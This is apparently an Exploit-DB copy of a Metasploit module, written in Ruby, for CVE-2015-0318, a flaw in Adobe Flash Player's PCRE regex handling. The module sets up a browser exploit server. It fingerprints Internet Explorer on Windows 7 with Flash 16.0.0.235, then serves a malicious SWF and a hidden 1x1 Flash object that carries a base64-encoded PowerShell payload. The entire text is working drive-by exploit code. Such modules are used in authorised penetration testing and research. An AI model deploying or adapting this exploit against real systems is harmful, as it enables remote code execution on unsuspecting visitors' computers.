Adobe Flash Player – PCRE Regex (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000' include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player PCRE Regex Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mark Brand', # Found vuln 'sinn3r' # MSF ], 'References' => [ [ 'CVE', '2015-0318' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ], [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'Retries' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{#{CLASSID}}", :method => "LoadMovie", :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, # Ohter versions are vulnerable but .235 is the one that works for me pretty well # So we're gonna limit to this one for now. More validation needed in the future. :flash => lambda { |ver| ver == '16.0.0.235' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Nov 25 2014", 'DefaultTarget' => 0)) end def exploit # Please see data/exploits/CVE-2015-0318/ for source, # that's where the actual exploit is @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="https://www.exploit-db.com/exploits/36420/<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end |